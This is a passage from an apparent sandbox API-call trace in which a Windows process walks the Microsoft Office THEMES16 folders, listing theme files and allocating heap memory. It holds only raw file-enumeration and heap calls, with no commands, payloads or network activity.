(in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.547] GetProcessHeap () returned 0xaf0000 [0286.547] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.547] GetProcessHeap () returned 0xaf0000 [0286.547] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.547] GetProcessHeap () returned 0xaf0000 [0286.547] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.548] GetProcessHeap () returned 0xaf0000 [0286.548] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.548] GetProcessHeap () returned 0xaf0000 [0286.548] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.548] GetProcessHeap () returned 0xaf0000 [0286.548] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.549] GetProcessHeap () returned 0xaf0000 [0286.549] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.549] GetProcessHeap () returned 0xaf0000 [0286.549] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.549] GetProcessHeap () returned 0xaf0000 [0286.549] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.550] GetProcessHeap () returned 0xaf0000 [0286.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.550] GetProcessHeap () returned 0xaf0000 [0286.550] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.550] GetProcessHeap () returned 0xaf0000 [0286.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.551] GetProcessHeap () returned 0xaf0000 [0286.551] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.551] GetProcessHeap () returned 0xaf0000 [0286.551] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0286.551] GetProcessHeap () returned 0xaf0000 [0286.551] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.551] GetProcessHeap () returned 0xaf0000 [0286.552] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.552] GetProcessHeap () returned 0xaf0000 [0286.552] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.552] GetProcessHeap () returned 0xaf0000 [0286.552] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.553] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.554] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.554] GetProcessHeap () returned 0xaf0000 [0286.554] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.554] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0286.554] GetProcessHeap () returned 0xaf0000 [0286.554] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.554] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.555] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.555] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0286.555] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0286.555] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.555] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.555] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.921] GetProcessHeap () returned 0xaf0000 [0286.921] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.921] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0286.921] GetProcessHeap () returned 0xaf0000 [0286.921] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.922] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.923] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.923] GetProcessHeap () returned 0xaf0000 [0286.923] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.923] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0286.923] GetProcessHeap () returned 0xaf0000 [0286.923] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.923] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.923] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x289576aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.924] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0286.924] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, 